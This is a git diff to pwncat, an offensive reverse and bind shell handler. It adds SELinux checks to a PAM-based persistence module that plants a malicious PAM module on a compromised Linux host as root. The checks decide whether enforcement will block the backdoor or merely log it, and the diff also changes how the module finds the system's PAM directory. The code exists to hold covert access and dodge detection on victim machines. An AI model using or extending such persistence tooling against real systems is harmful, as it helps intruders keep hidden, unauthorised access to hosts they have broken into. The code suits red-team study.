diff --git a/pwncat/enumerate/system/selinux.py b/pwncat/enumerate/system/selinux.py index 7fdb01d..75ca77e 100644 --- a/pwncat/enumerate/system/selinux.py +++ b/pwncat/enumerate/system/selinux.py @@ -28,6 +28,14 @@ class SELinuxState(FactData): result += f"{Fore.YELLOW}{self.state}{Fore.RESET}" return result + @property + def mode(self) -> str: + return self.status.get("Current mode", "unknown").lower() + + @property + def enabled(self) -> bool: + return self.state.lower() == "enabled" + @property def description(self): width = max(len(x) for x in self.status) + 1 diff --git a/pwncat/persist/pam.py b/pwncat/persist/pam.py index 835b57f..888eb90 100644 --- a/pwncat/persist/pam.py +++ b/pwncat/persist/pam.py @@ -9,7 +9,7 @@ from typing import Optional import pwncat from pwncat import util from pwncat.persist import PersistenceMethod, PersistenceError -from pwncat.util import Access, CompilationError +from pwncat.util import Access, CompilationError, console class Method(PersistenceMethod): @@ -37,6 +37,21 @@ class Method(PersistenceMethod): if pwncat.victim.current_user.id != 0: raise PersistenceError("must be root") + try: + # Enumerate SELinux state + selinux = pwncat.victim.enumerate.first("system.selinux").data + # If enabled and enforced, it will block this from working + if selinux.enabled and "enforc" in selinux.mode: + raise PersistenceError("selinux is currently in enforce mode") + elif selinux.enabled: + # If enabled but permissive, it will log this module + console.log( + "[yellow]warning[/yellow]: selinux is enabled; persistence may be logged" + ) + except ValueError: + # SELinux not found + pass + # Source to our module sneaky_source = textwrap.dedent( """ @@ -195,17 +210,17 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg== # Locate the pam_deny.so to know where to place the new module pam_modules = "/usr/lib/security" - try: - results = ( - pwncat.victim.env(["find", "/", "-name", "pam_deny.so"]) - .strip() - .decode("utf-8") + + results = ( + pwncat.victim.run( + "find / -name pam_deny.so 2>/dev/null | grep -v 'snap/'" ) - if results != "": - results = results.split("\n") - pam_modules = os.path.dirname(results[0]) - except FileNotFoundError: - pass + .strip() + .decode("utf-8") + ) + if results != "": + results = results.split("\n") + pam_modules = os.path.dirname(results[0]) # Ensure the directory exists and is writable access = pwncat.victim.access(pam_modules) diff --git a/setup.py b/setup.py index 4fff8e9..4981c53 100644 --- a/setup.py +++ b/setup.py @@ -30,7 +30,7 @@ dependency_links = [ # Setup setup( name="pwncat", - version="0.1", + version="0.2.0", description="A fancy reverse and bind shell handler", author="Caleb Stewart", url="https://gitlab.com/calebstewart/pwncat",